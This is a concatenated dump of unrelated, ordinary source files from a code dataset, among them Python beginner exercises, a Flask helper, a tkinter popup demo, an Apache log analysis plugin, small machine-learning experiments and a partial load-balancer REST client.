cancelacion)","sub_path":"tests/test_historial_billetera.py","file_name":"test_historial_billetera.py","file_ext":"py","file_size_in_byte":5121,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"450893740","text":"# [practice02.py]\n# coding: utf-8\n\n# 2 - 1\nprint(\"a\", \"b\", \"c\")\n\n# 2 - 2\nx = 10\nif x < 10:\n print(\"변수는 10보다 작습니다.\")\nelse:\n print(\"변수는 10보다 크거나 같습니다.\")\n\n# 2 - 3\ny = 10\nif y <= 10:\n print(\"변수는 10보다 작거나 같습니다.\")\nelif y <= 25:\n print(\"변수는 10보다 크지만 25보다 작거나 같습니다.\")\nelse:\n print(\"변수는 25보다 큽니다.\")\n\n# 2 - 4\na = 7\nb = 2\n\ndef remainder(a, b):\n print(a, \"에서\", b, \"를 나눈 나머지는\", a % b)\n\nremainder(a, b)\n\n# 2 - 5\ndef quotient(a, b):\n print(a, \"에서\", b, \"를 나눈 몫은\", a // b)\n\nquotient(a, b)\n\n# 2 - 6\nage = 21\nif age < 19:\n print(\"청소년입니다. 주류를 구매할 수 없습니다.\")\nelse:\n print(\"성인입니다. 주류를 구매할 수 있습니다.\")","sub_path":"Python/FirstStep/practice/practice02.py","file_name":"practice02.py","file_ext":"py","file_size_in_byte":816,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"180999345","text":"from flask import jsonify\nimport datetime\nimport re\n\ndef error(error_case):\n\terror_list = ['invalid_request', 'username_already_exist', 'action_requires_token', 'invalid_email', 'invalid_credentials', 'user_not_found', 'user_already_added', 'user_not_in_access_list', 'invalid_coordinates', 'not_in_allowed_list', 'invalid_secret', 'email_in_use']\n\tif error_case in error_list:\n\t\treturn jsonify({'success': False, 'error': error_case}), 400\n\telse:\n\t\treturn jsonify({'success': False, 'error': 'cannot_process_request'}), 400\n\ndef validate_email(email):\n\tif not re.match(r\"[^@]+@[^@]+\\.[^@]+\", email):\n\t\treturn False\n\treturn True\n\ndef current_time():\n\treturn datetime.datetime.now()","sub_path":"helper.py","file_name":"helper.py","file_ext":"py","file_size_in_byte":681,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"493786458","text":"# NAME: Clear Module\r\n# FILE: clear.py(DIR: .\\)\r\n\r\n# DESCRIPTION: \"A module that clear the screen\"\r\n# CREDITS: Avien Jones(GITHUB: AvienJ)\r\n# MISC\\NOTES:\r\n# .Works with all big operating systems\r\n# .All in one file\r\n# ____________________\r\nimport os\r\nimport platform\r\n\r\ndef clear():\r\n os_name = platform.system()\r\n if os_name == \"Windows\":\r\n os.system(\"cls\")\r\n else:\r\n os.system(\"clear\")\r\n","sub_path":"clear.py","file_name":"clear.py","file_ext":"py","file_size_in_byte":402,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"415628008","text":"import tkinter as tk\n\nclass App(object):\n\n def __init__(self, parent):\n\n self.root = parent\n self.root.title(\"Main Frame\")\n self.frame = tk.Frame(parent)\n self.frame.pack()\n label = tk.Label(self.frame, text = \"This is the main frame\")\n label.grid()\n btn = tk.Button(self.frame, text= \"Open the popup window\", command = lambda : self.pop_up())\n btn.grid(row=1)\n\n def pop_up(self):\n \tself.root.withdraw()\n \tpopUp(self)\n\nclass popUp(tk.Toplevel):\n\n def __init__(self, original):\n\n self.original_frame = original\n tk.Toplevel.__init__(self)\n self.transient(root)\n self.geometry(\"260x210\")\n self.lift()\n label = tk.Label(self, text = \"This is Popup window\")\n label.grid()\n btn = tk.Button(self, text =\"Close\", command= lambda : self.on_close())\n btn.grid(row =1)\n\n def on_close(self):\n \tself.destroy()\n \troot.update()\n \troot.deiconify()\n\nif __name__ == \"__main__\":\n\n root = tk.Tk()\n app = App(root)\n root.geometry(\"200x150\")\n root.mainloop()","sub_path":"samples/botao-nova-aba.py","file_name":"botao-nova-aba.py","file_ext":"py","file_size_in_byte":1095,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"308391464","text":"\n\n# CUDA_VISIBLE_DEVICES=0 python expr_vis/vis_cam.py /home/xinyang/Data/intattack/rev1/target_maps/cam_resnet50/fold_1.npz /home/ningfei/xinyang/data_fix1/target/cam_resnet50/fold_1.npz\n\n# CUDA_VISIBLE_DEVICES=0 python expr_vis/vis_cam.py /home/xinyang/Data/intattack/rev1/target_maps/cam_densenet169/fold_1.npz /home/ningfei/xinyang/data_fix1/target/cam_densenet169/fold_1.npz\n\n#CUDA_VISIBLE_DEVICES=0 python spatially/rts_reg_vis.py /home/xinyang/Data/intattack/rev1/acid_stadv_maps/rts_densenet169_benign/fold_3.npz /home/xinyang/Data/intattack/rev1/regular_stadv_maps/rts_densenet169/fold_3.npz\n\nimport os\nimport argparse\n\nimport numpy as np\nimport cv2\nimport visdom\n\nfrom ia_utils.data_utils import load_imagenet_labels\n# from ia_utils.data_utils import load_imagenet_labels\nimagenet_labels = load_imagenet_labels()\n\nvis = visdom.Visdom(env='st_rts_reg_den', port=7778)\n\n\ndef draw_text(img, text):\n img = cv2.putText(np.uint8(255 * img[::-1].transpose([1, 2, 0])).copy(), text,\n (10, 100),\n cv2.FONT_HERSHEY_SIMPLEX,\n 0.3,\n (255, 255, 255),\n 0)\n return np.float32(img.transpose([2, 0, 1])[::-1] / 255.)\n\n\ndef transform_cam(img, cam):\n m1 = np.uint8(255 * cv2.resize(cam[0], (224, 224), interpolation=cv2.INTER_LINEAR))\n m1 = cv2.applyColorMap(m1, cv2.COLORMAP_JET)\n m1 = np.float32(m1 / 255.).transpose([2, 0, 1])[::-1]\n m1 = (img + m1)\n m1 = m1 / m1.max()\n return m1\n\n\ndef resize(img, new_size=(224, 224)):\n img = np.uint8(255 * img.transpose([1, 2, 0]))\n img = cv2.resize(img, new_size, interpolation=cv2.INTER_LINEAR)\n img = img.transpose([2, 0, 1])\n return np.float32(img / 255.)\n\n\ndef main(config):\n # dobj = np.load(config.data_path)\n # dobj_adv = np.load(config.data_adv_path)\n dobj_cam_benign = np.load(config.cam_benign_path)\n dobj_cam_adv = np.load(config.cam_adv_path)\n print(list(dobj_cam_adv.keys()))\n img_x, img_y, img_yt = dobj_cam_benign['img_x'].copy(), dobj_cam_benign['img_x'].copy(), dobj_cam_benign['img_x'].copy()\n\n cam_benign_y = dobj_cam_adv['stadv_rts_yt'].copy()\n indices = np.random.RandomState(100).choice(len(img_x), size=100, replace=False)\n imagenet_labels = load_imagenet_labels()\n # tar_img = dobj_cam_adv['img_x'].copy()\n\n # vis_steps = [600]\n # arrs_imgs = [dobj_cam_adv['s2_step_%d_stadv_x' % vis_step].copy() for vis_step in vis_steps]\n # arrs_flags = [dobj_cam_adv['s2_step_%d_stadv_succeed' % vis_step].copy() for vis_step in vis_steps]\n # arrs_cams = [dobj_cam_adv['s2_step_%d_stadv_rts' % vis_step].copy() for vis_step in vis_steps]\n # bad_image = np.zeros((3, 224, 224), dtype=np.float32)\n\n for i in range(100):\n m2 = []\n index = i\n imgs, texts, cams = [], [], []\n img, y, yt = img_x[index], img_y[index], img_yt[index]\n # imgs.append(resize(img_x[index]))\n texts.append('benign')\n # cams.append(resize(np.repeat(cam_benign_y[index], 3, 0)))\n\n # for j in range(len(arrs_imgs)):\n # img, flag = arrs_imgs[j][index], arrs_flags[j][index]\n # if flag == 0:\n # imgs.append(bad_image)\n # texts.append('')\n # cams.append(bad_image)\n # else:\n # imgs.append(resize(arrs_imgs[j][index]))\n # dis = np.linalg.norm((img_x[index] - img).flatten(), np.inf)\n # texts.append('%d steps, %.4f' % (vis_steps[j], dis))\n # cams.append(resize(np.repeat(arrs_cams[j][index], 3, 0)))\n # # cams.append(resize(transform_cam(arrs_imgs[j][index], arrs_cams[j][index])))\n #\n # for j, (img, text) in enumerate(zip(imgs, texts)):\n # m1 = np.uint8(255 * cv2.resize(cams[j][0], (224, 224), interpolation=cv2.INTER_LINEAR))\n # m1 = cv2.applyColorMap(m1, cv2.COLORMAP_JET)\n # m1 = np.float32(m1 / 255.).transpose([2, 0, 1])[::-1]\n # m1 = (img + m1)\n # m1 = m1 / m1.max()\n # m2.append(m1)\n # imgs[j] = img\n\n # rts_y = tar_img[index]\n # rts_yt = tar_img[index]\n # print(rts_benign_y[index].shape)\n m3 = np.uint8(255 * cv2.resize(cam_benign_y[index, 0], (224, 224), interpolation=cv2.INTER_LINEAR))\n m3 = cv2.applyColorMap(m3, cv2.COLORMAP_JET)\n m3 = np.float32(m3 / 255.).transpose([2, 0, 1])[::-1]\n m3 = (img_x[index] + m3)\n m3 = m3 / m3.max()\n\n vis.images(img_x[index],\n win='acid_cam_adv_tar_%d' % index,\n opts=dict(title='acid_cam_tar_%d, true label:, target label:' % (index)))\n vis.images(m3,\n win='acid_cam_adv_tar_map_%d' % index,\n opts=dict(title='acid_cam_tar_img_%d_resnet, true label' % (index)))\n\n # vis.images(imgs,\n # win='img_adv_%d' % index,\n # opts=dict(title='acid_cam_adv_img_%d_resnet, true label' % (index)))\n # vis.images(m2,\n # win='img_%d' % index,\n # opts=dict(title='acid_cam_map_img_%d_resnet, true label: ' % (index)))\n # vis.images(np.concatenate([np.stack(imgs), np.stack(cams)], axis=0), nrow=len(imgs) // 2,\n # win='img_%d' % index, opts=dict(title='img %d' % index))\n # vis.text('y: %s, yt: %s' % (imagenet_labels[img_y[index]][1], imagenet_labels[img_yt[index]][1]),\n # win='info_%d' % index, opts=dict(title='info %d' % index))\n\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser()\n # parser.add_argument('data_path')\n # parser.add_argument('data_adv_path')\n parser.add_argument('cam_benign_path')\n parser.add_argument('cam_adv_path')\n config = parser.parse_args()\n\n print('Please check the configuration', config)\n main(config)\n","sub_path":"spatially/rts_reg_vis.py","file_name":"rts_reg_vis.py","file_ext":"py","file_size_in_byte":5844,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"625220186","text":"import os, json, logging, csv\nimport tagexplorer\n\nlogger = logging.getLogger(__name__)\n\nGEONAMES_COUNTRY_FILE = os.path.join(tagexplorer.base_dir, 'geonames-country-list.csv')\n\ngeonames_cache = {} # id to geoname \n\ndef countryLookup():\n lookup = {}\n with open(GEONAMES_COUNTRY_FILE, 'rb') as csvfile:\n spamreader = csv.reader(csvfile, delimiter=',')\n spamreader.next()\n for row in spamreader:\n lookup[row[0]] = {\n 'id':row[0],\n 'countryCode':row[1],\n 'name':row[2]\n }\n return lookup\n\ncountry_cache = countryLookup()\n\ndef countryInfo(geonames_id):\n if geonames_id in country_cache:\n return country_cache[geonames_id]\n return None\n\n# cache to reduce hits to cliff\ndef geoname(geonames_id):\n if geonames_id not in geonames_cache:\n geoname = tagexplorer.cliff_server.geonamesLookup(geonames_id)\n geonames_cache[geonames_id] = geoname\n logger.debug(\"added %s to geonames cache\" % geonames_id)\n return geonames_cache[geonames_id]\n","sub_path":"tagexplorer/geonames.py","file_name":"geonames.py","file_ext":"py","file_size_in_byte":1061,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"74557364","text":"import sublime, sublime_plugin\nimport os\nimport re\nimport datetime\nfrom itertools import groupby\n# [21/Oct/2013:23:49:32 +0800]\nrDateTime = re.compile(r'\\[(\\d{2})\\/([^\\/]+)\\/(\\d{4})\\:(\\d{2})\\:(\\d{2})\\:(\\d{2})\\s(\\+\\d{4})\\]')\nrBAIDUID = re.compile(r'BAIDUID=([^;]*)(;|$)')\nrJpBAIDUID= re.compile(r'bd=([^&]*)(&|$)')\n\ndef line_to_seg ( str ):\n '''\n parse single line apache log to a list\n '''\n ret = []\n slen = len(str)\n ctype = 'null'\n i = 0\n while i < slen:\n if str[i] == '\"' :\n seg_end = str.find('\"',i+1)\n if seg_end != -1 :\n ret.append( str[i:seg_end+1] )\n i = seg_end+2\n continue\n else :\n ret.append( str[i:slen] )\n break\n elif str[i] == '[' :\n seg_end = str.find(']',i+1)\n if seg_end != -1 :\n ret.append( str[i:seg_end+1] )\n i = seg_end +2\n continue\n else:\n ret.append( str[i:slen] )\n break\n elif str[i] == ' ' and (i+1)< slen and str[i+1] == ' ':\n i+=1\n continue\n else :\n seg_end = str.find(' ',i+1)\n if seg_end != -1 :\n ret.append( str[i:seg_end] )\n i = seg_end+1\n continue\n else :\n ret.append( str[i:slen] )\n break\n return ret\n\napache_log_seg_name = ['client_ip','remote_host_name','remote_user','time_at_recieve_req','first_line_of_req','final_resp_stat','final_resp_size','referer','user_agent','cookie','ms_to_reserve_req','sec_to_reserve_req',]\ndef pack_log_list ( log_list ):\n return dict(zip(apache_log_seg_name,log_list))\n\ndef apache_time_to_date ( timestring ):\n '''\n parse apache log Date to datetime\n '''\n match = rDateTime.search(timestring)\n if match :\n matches = match.groups()\n year = matches[2]\n month = matches[1]\n month = {\n 'Oct': 10,\n 'Jul': 7,\n }[month]\n day = matches[0]\n hour = matches[3]\n minus = matches[4]\n sec = matches[5]\n tz = matches[6]\n return datetime.datetime( int(year), int(month), int(day), int(hour), int(minus), int(sec))\n\nclass AnalyseApacheLogCommand(sublime_plugin.TextCommand):\n '''\n analyse_apache_log\n '''\n def remove_local_warning_machine(self,edit):\n view = self.view\n rLocal = '\\n[^\\:]+access_log\\.\\d{10}:'\n rMachine = '==============='\n rWarning = 'Warning: Permanently'\n rNotFound = 'No such file or directory'\n\n region = view.find(rNotFound, 0)\n while region:\n view.replace (edit, view.line(region), '')\n region = view.find(rNotFound, region.a)\n\n region = view.find(rMachine, 0)\n while region:\n view.replace (edit, view.line(region), '')\n region = view.find(rMachine, region.a)\n\n region = view.find(rWarning, 0)\n while region:\n view.replace (edit, view.line(region), '')\n region = view.find(rWarning, region.a)\n\n region = view.find(rLocal,0)\n while region:\n print( view.substr(region))\n view.replace(edit, region, '\\n')\n next_line = view.find('\\n',region.a)\n if next_line :\n region = view.find( rLocal, next_line.b + 1)\n else :\n region = false\n\n def analyse_log(self) :\n view = self.view\n logs = []\n fregion = sublime.Region(0, view.size())\n self.fregion = fregion \n for line in view.lines( fregion ):\n tlen = line.b - line.a\n if tlen == 0 :\n continue\n tline = view.substr(line)\n if tline.strip() != '' :\n tlog = line_to_seg(tline)\n ttime = apache_time_to_date(tlog[3])\n if ttime :\n logs.append(pack_log_list(tlog))\n self.logs = logs\n\n def process ( self ):\n \n def sort_key ( k ):\n ttime = apache_time_to_date(k['time_at_recieve_req'])\n datetime.timedelta(hours=ttime.hour, minutes=ttime.minute, seconds=ttime.second)\n \n for log in self.logs :\n cookie = log['cookie']\n match = rBAIDUID.search( cookie )\n if match :\n log['bdid'] = match.group(1).replace('%3A',':').replace('%3D','=')\n continue\n match = rJpBAIDUID.search(log['first_line_of_req'])\n if match :\n log['bdid'] = match.group(1).replace('%3A',':').replace('%3D','=')\n continue\n log['bdid'] = cookie\n\n self.logs.sort(cmp = lambda x, y : x['bdid'] > y['bdid'] )\n \n logs = groupby(self.logs, key=lambda k: k['bdid'])\n normalized_content=[]\n for k, log in logs :\n normalized_content.append( '=====' + k + '=====' )\n for slog in sorted( list(log), key=sort_key ):\n normalized_content.append( slog['time_at_recieve_req'] + ' ' + slog['first_line_of_req'] )\n self.normalized_content = normalized_content\n\n def display( self, edit ):\n view = self.view\n view.replace(edit, self.fregion, '\\n'.join(self.normalized_content) )\n\n def run(self, edit):\n self.remove_local_warning_machine(edit)\n self.analyse_log()\n self.process()\n self.display(edit)\n\n\nclass CaculateUaCommand(AnalyseApacheLogCommand):\n \"\"\"\n caculate_ua\n collect ua from access_log\n \"\"\"\n def process(self):\n ua_data = []\n get_ua = lambda x : x['user_agent']\n ua_log = [get_ua(x) for x in self.logs]\n ua_log.sort()\n\n normalized_content = []\n normalized_content.append('=== genare ===')\n\n for k, v in groupby(ua_log) :\n normalized_content.append(k)\n normalized_content.append(str(len(list(v))))\n\n rWIN = re.compile(r'(Windows[^);]+)')\n rOSX = re.compile(r'([^;]*like\\sMac\\sOS\\sX)')\n rAND = re.compile(r'([^(]*Android[^)]*)')\n rLNX = re.compile(r'([^(]*Linux[^)]*)')\n\n def get_pt( ua ):\n for rex in [rWIN,rOSX,rAND,rLNX]:\n match = rex.search(ua)\n if match : \n return match.group(1)\n return ua\n pt_log = [get_pt(x) for x in ua_log]\n pt_log.sort()\n normalized_content.append('=== platform ===')\n for k, v in groupby( pt_log ):\n normalized_content.append(k)\n normalized_content.append(str(len(list(v))))\n\n self.normalized_content = normalized_content","sub_path":"analyse_apache_log.py","file_name":"analyse_apache_log.py","file_ext":"py","file_size_in_byte":5892,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"229890482","text":"\"\"\"\n@author: SuhridKrishna\n\"\"\"\n\nimport pandas as pd\n\nimport nltk\nfrom nltk.tokenize import word_tokenize\nfrom sklearn import linear_model\nfrom sklearn import metrics\nfrom sklearn import model_selection\nfrom sklearn.feature_extraction.text import CountVectorizer\n\nif __name__ == \"__main__\":\n # read train.csv\n df = pd.read_csv(\"G:/Kaggle/Real or Not NLP with Disaster Tweets/train.csv\")\n\n validation_df = pd.read_csv(\n \"G:/Kaggle/Real or Not NLP with Disaster Tweets/test.csv\"\n )\n\n # create kfold column\n df[\"kfold\"] = -1\n\n # randomize dataframe rows\n df = df.sample(frac=1).reset_index(drop=True)\n\n # fetch target label\n y = df.target.values\n\n # print(y)\n # print(len(y))\n\n # kfold initiation and fill kfold column\n kf = model_selection.StratifiedKFold(n_splits=5)\n\n for f, (t_, v_) in enumerate(kf.split(X=df, y=y)):\n df.loc[v_, \"kfold\"] = f\n\n # creating test and train dataframes\n for fold_ in range(5):\n train_df = df[df.kfold != fold_].reset_index(drop=True)\n test_df = df[df.kfold == fold_].reset_index(drop=True)\n\n # countvectorizer initialization\n cv = CountVectorizer(tokenizer=word_tokenize, token_pattern=None)\n\n # print(cv)\n\n # fit countvectorizer to the real/fake tweets (tweet text)\n cv.fit(train_df.text)\n\n # transform into sparse term-document matrix\n xtrain = cv.transform(train_df.text)\n xtest = cv.transform(test_df.text)\n xvalidate = cv.transform(validation_df.text)\n\n # print(xtrain)\n # print(\"_\"*50)\n # print(xtest)\n\n # Logistic Regression Model\n logistic_model = linear_model.LogisticRegression(solver=\"liblinear\")\n\n # fit logistic model\n logistic_model.fit(xtrain, train_df.target)\n\n # predict on test data\n pred = logistic_model.predict(xtest)\n\n # measure accuracy (?)\n accuracy = metrics.accuracy_score(test_df.target, pred)\n\n print(f\"Fold: {fold_}\")\n print(f\"Accuracy: {accuracy}\")\n print(\"\")\n\n pred_validation_df = logistic_model.predict(xvalidate)\n\n # print(len(validation_df[\"id\"]))\n # print(len(pred_validation_df))\n\n submission = pd.DataFrame(\n {\"id\": list(validation_df[\"id\"]), \"target\": list(pred_validation_df)}\n )\n\nsubmission.to_csv(\n \"G:\\Kaggle\\Real or Not NLP with Disaster Tweets\\submissions\\submission_logres.csv\",\n index=False,\n)\n","sub_path":"log_res.py","file_name":"log_res.py","file_ext":"py","file_size_in_byte":2438,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"295164103","text":"import numpy as np\nimport os\n\ndef load_dslf_config(datadir, profile_file):\n extrinsic_file = None\n intrinsic_file = None\n image_file = None\n list_poses = {}\n list_Ks = {}\n list_images = {}\n\n with open(os.path.join(datadir, profile_file), 'r') as fp:\n for line in fp:\n line = line.strip()\n if line == '':\n continue\n parts = line.split(':')\n if parts[0] == 'camera_pose':\n extrinsic_file = parts[1].strip()\n elif parts[0] == 'camera_intrinsic':\n intrinsic_file = parts[1].strip()\n elif parts[0] == 'image_list':\n image_file = parts[1].strip()\n\n with open(os.path.join(datadir, image_file), 'r') as f:\n for line in f:\n line = line.strip()\n parts = line.split()\n file_name = parts[1].strip()\n\n # check image existance\n file_name = os.path.join(datadir, file_name)\n if not os.path.exists(file_name):\n raise Exception(f'{file_name} is not found')\n\n list_images[parts[0]] = file_name\n \n with open(os.path.join(datadir, extrinsic_file), 'r') as f:\n for line in f:\n line = line.strip()\n parts = line.split(maxsplit=1)\n extrinsic = parts[1].strip()\n\n # parse camera poses\n M = np.zeros((16, 1))\n extrinsic = extrinsic.split()\n for i in range(16):\n M[i] = float(extrinsic[i])\n M = np.reshape(M, (4,4))\n M[:, 1] = -M[:, 1] # y-axis differs\n M[:, 2] = -M[:, 2] # so does z-axis\n list_poses[parts[0]] = M.astype(np.float32)\n\n with open(os.path.join(datadir, intrinsic_file), 'r') as f:\n for line in f:\n line = line.strip()\n parts = line.split(maxsplit=1)\n intrinsic = parts[1].strip()\n\n # parse intrinsic\n M = np.zeros((9, 1))\n intrinsic = intrinsic.split()\n for i in range(9):\n M[i] = float(intrinsic[i])\n M = np.reshape(M, (3,3))\n list_Ks[parts[0]] = M.astype(np.float32)\n\n return (list_poses, list_Ks, list_images)\n","sub_path":"dslf_util.py","file_name":"dslf_util.py","file_ext":"py","file_size_in_byte":2238,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"397433038","text":"import traceback\nfrom concurrent.futures import ProcessPoolExecutor\n\nimport sys\n\nfrom dataset import *\nfrom multipipetools import total, group, cross\nfrom ssltools import *\nfrom wrapper import *\nimport numpy as np\n\ndatasets = [\n get_iris(),\n # get_yeast(),\n # get_letter(),\n # get_pendigits(),\n # get_satimage(),\n # get_banknote(),\n # get_eeg(),\n # get_magic(),\n # get_spam()\n]\n\ndef kmeans_ssl(clusters, neighbors):\n def fn(pipe):\n p = pipe \\\n .pipe(kmeans(clusters)) \\\n .y(label_consensus()) \\\n .pipe(knn(neighbors)) \\\n .pipe(predict()) \\\n .pipe(evaluate())\n return p\n return fn\n\ndef seeder(probs):\n def map_fn(inst, idx, total):\n seeding_fn = seeding_random(probs[idx])\n y_seed = seeding_fn(inst)\n # print('pipe no:', idx, 'prob:', probs[idx])\n # print('y_seed:', y_seed)\n return inst\\\n .set('y_seed', y_seed)\\\n .set('name', 'prob-' + str(probs[idx]))\n\n return map_fn\n\ndef normal(data, probs):\n cluster_cnt = data.cluster_cnt * 3\n\n return Pipe() \\\n .x(data.X) \\\n .y(data.Y) \\\n .x_test(data.X_test) \\\n .y_test(data.Y_test) \\\n .pipe(badness_agglomeratvie_l_method(prepare=True)) \\\n .split(len(probs), seeder(probs))\\\n .pipe(badness_agglomeratvie_l_method()) \\\n .connect(kmeans_ssl(cluster_cnt, data.K_for_KNN)) \\\n .merge('result', group('evaluation', 'badness', 'name'))\\\n .connect(stop())\n\ndef cv(data, probs):\n cluster_cnt = data.cluster_cnt * 3\n\n return Pipe() \\\n .x(data.X) \\\n .y(data.Y) \\\n .pipe(badness_agglomeratvie_l_method(prepare=True)) \\\n .split(len(probs), seeder(probs))\\\n .pipe(badness_agglomeratvie_l_method()) \\\n .split(10, cross('y_seed')) \\\n .connect(kmeans_ssl(cluster_cnt, data.K_for_KNN)) \\\n .merge('evaluation', total('evaluation')) \\\n .merge('result', group('evaluation', 'badness', 'name'))\\\n .connect(stop())\n\ndef run_and_save(dataset):\n print('dataset:', dataset.name)\n print('has_testdata:', dataset.has_testdata())\n\n if dataset.has_testdata():\n fn = normal\n else:\n fn = cv\n\n result = fn(dataset, np.linspace(0.01, 0.2, 20))\n # result = fn(dataset, [0.2])\n\n with open('results/badness_agglomerative_l_method_on_seeding_prob-' + dataset.name + '.json', 'w') as file:\n json.dump(result['result'], file)\n\nwith ProcessPoolExecutor() as executor:\n for dataset in datasets:\n executor.submit(run_and_save, dataset)\n","sub_path":"result_badness_agglomerative_l_method_on_seeding_prob.py","file_name":"result_badness_agglomerative_l_method_on_seeding_prob.py","file_ext":"py","file_size_in_byte":2632,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"248003073","text":"from django.urls import path\nfrom core import views\n\napp_name = 'core'\n\n# It creates a relation between the url and the view\nurlpatterns = [\n path('', views.home, name='home'),\n path('login/', views.user_login, name='login'),\n path('logout/', views.user_logout, name='logout'),\n path('applygroup/', views.applygroup, name='applygroup'),\n path('applypair/', views.applypair, name='applypair'),\n path('convalidation/', views.convalidation, name='convalidation'),\n]\n","sub_path":"3_Junior/Semester_1/PSI/P3/P3_5/core/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":481,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"90304047","text":"import keras\n\nimport numpy as np\nimport pandas as pd\n\nfrom sklearn import metrics\nimport sklearn.model_selection\n\nfrom sklearn.preprocessing import Imputer\nfrom sklearn.feature_selection import SelectKBest, chi2, f_regression\n\n\nfrom helpers import read_data\n\n# Constansts\n# ==========\n\n#DATASET = '~/_stora_filer/tig113-projekt/all/application_train.csv'\nDATASET = '~/_stora_filer/tig113-projekt/all/application_train-1pct.csv'\nNUM_FEATURES = 20\n\n# Main\n# ====\n\nXtrain, Ytrain, Xtest, Ytest = read_data(DATASET, 0.7)\n\nclf = SelectKBest(f_regression, k=NUM_FEATURES).fit(Xtrain, Ytrain)\nXtrain = clf.transform(Xtrain)\nXtest = clf.transform(Xtest)\n\ndef create_model2():\n\t# create model\n\tmodel = keras.models.Sequential()\n\tmodel.add(keras.layers.core.Dense(NUM_FEATURES, input_dim=NUM_FEATURES, kernel_initializer='random_uniform', activation='relu'))\n\tmodel.add(keras.layers.core.Dense(64, kernel_initializer='random_uniform', activation='relu'))\n\tmodel.add(keras.layers.core.Dense(4, kernel_initializer='random_uniform', activation='relu'))\n\tmodel.add(keras.layers.core.Dense(1, kernel_initializer='random_uniform', activation='softmax'))\n\tmodel.compile(loss='binary_crossentropy', optimizer='adam', metrics=['accuracy'])\n\treturn model\n\n\nmodel = create_model2()\nprint(model.summary())\n\n# Use Early-Stopping\ncallback_early_stopping = keras.callbacks.EarlyStopping(monitor='val_loss', patience=10, verbose=0, mode='auto')\n\n# Train model\nmodel.fit(Xtrain, Ytrain, batch_size=1024, epochs=200, validation_data=(Xtest, Ytest), verbose=1\n , callbacks=[callback_early_stopping]\n )\n\npredicted = model.predict(Xtest)\n\nprint(predicted)\nprint(Ytest)\n\nprint('Simple Mean Score: {:.3f}\\n'.format(np.mean(predicted == Ytest)))\nprint('Classification report:\\n', metrics.classification_report(Ytest, predicted))\nprint('Confusion matrix:\\n', metrics.confusion_matrix(Ytest, predicted))\n","sub_path":"ann.py","file_name":"ann.py","file_ext":"py","file_size_in_byte":1886,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"229742022","text":"#!/usr/bin/python\n\nfrom vadc import Vadc\n\nclass Vtm(Vadc):\n\n def __init__(self, config, logger=None, vtm=None):\n\n try:\n self._proxy = config['brcd_sd_proxy']\n if self._proxy:\n if vtm is None:\n raise ValueError(\"You must set vtm, when using SD Proxy\")\n host = config['brcd_sd_host']\n user = config['brcd_sd_user']\n passwd = config['brcd_sd_pass']\n else:\n host = config['brcd_vtm_host']\n user = config['brcd_vtm_user']\n passwd = config['brcd_vtm_pass']\n except KeyError:\n raise ValueError(\"You must set key brcd_sd_proxy, and either \" +\n \"brcd_sd_[host|user|pass] or brcd_vtm_[host|user|pass].\")\n\n self.vtm = vtm\n self.bsdVersion = None\n super(Vtm, self).__init__(host, user, passwd, logger)\n if self._proxy:\n self.bsdVersion = self._get_api_version(\"api/tmcm\")\n self.version = self._get_api_version(\n \"api/tmcm/{}/instance/{}/tm\".format(self.bsdVersion, vtm))\n self.baseUrl = host + \"api/tmcm/{}\".format(self.bsdVersion) + \\\n \"/instance/{}/tm/{}\".format(vtm, self.version)\n else:\n self.version = self._get_api_version(\"api/tm\")\n self.baseUrl = host + \"api/tm/{}\".format(self.version)\n self.configUrl = self.baseUrl + \"/config/active\"\n self.statusUrl = self.baseUrl + \"/status/local_tm\"\n\n def _get_node_table(self, name):\n url = self.configUrl + \"/pools/\" + name\n res = self._get_config(url)\n if res.status_code != 200:\n raise Exception(\"Failed to get pool. Result: {}, {}\".format(res.status_code, res.text))\n\n config = res.json()\n return config[\"properties\"][\"basic\"][\"nodes_table\"]\n\n def _get_single_config(self, obj_type, name):\n url = self.configUrl + \"/\" + obj_type + \"/\" + name\n res = self._get_config(url)\n if res.status_code != 200:\n raise Exception(\"Failed to get \" + obj_type + \" Configuration.\" +\n \" Result: {}, {}\".format(res.status_code, res.text))\n return res.json()\n\n def _get_multiple_configs(self, obj_type, names=[]):\n url = self.configUrl + \"/\" + obj_type + \"/\"\n res = self._get_config(url)\n if res.status_code != 200:\n raise Exception(\"Failed to list \" + obj_type +\n \". Result: {}, {}\".format(res.status_code, res.text))\n listing = res.json()[\"children\"]\n output = {}\n for obj in [obj[\"name\"] for obj in listing]:\n if len(names) > 0 and (obj not in names):\n continue\n output[obj] = self._get_single_config(obj_type, obj)\n return output\n\n def _set_single_config(self, obj_type, name, config):\n url = self.configUrl + \"/\" + obj_type + \"/\" + name\n res = self._push_config(url, config)\n if res.status_code != 200:\n raise Exception(\"Failed to set \" + obj_type + \". Result: {}, {}\".format(\n res.status_code, res.text))\n return res\n\n def _get_vs_rules(self, name):\n config = self._get_single_config(\"virtual_servers\", name)\n rules = {k: config[\"properties\"][\"basic\"][k] for k in\n (\"request_rules\", \"response_rules\", \"completionrules\")}\n return rules\n\n def _set_vs_rules(self, name, rules):\n config = {\"properties\": {\"basic\": rules}}\n res = self._set_single_config(\"virtual_servers\", name, config)\n if res.status_code != 200:\n raise Exception(\"Failed set VS Rules. Result: {}, {}\".format(res.status_code, res.text))\n\n def insert_rule(self, vsname, rulename, insert=True):\n rules = 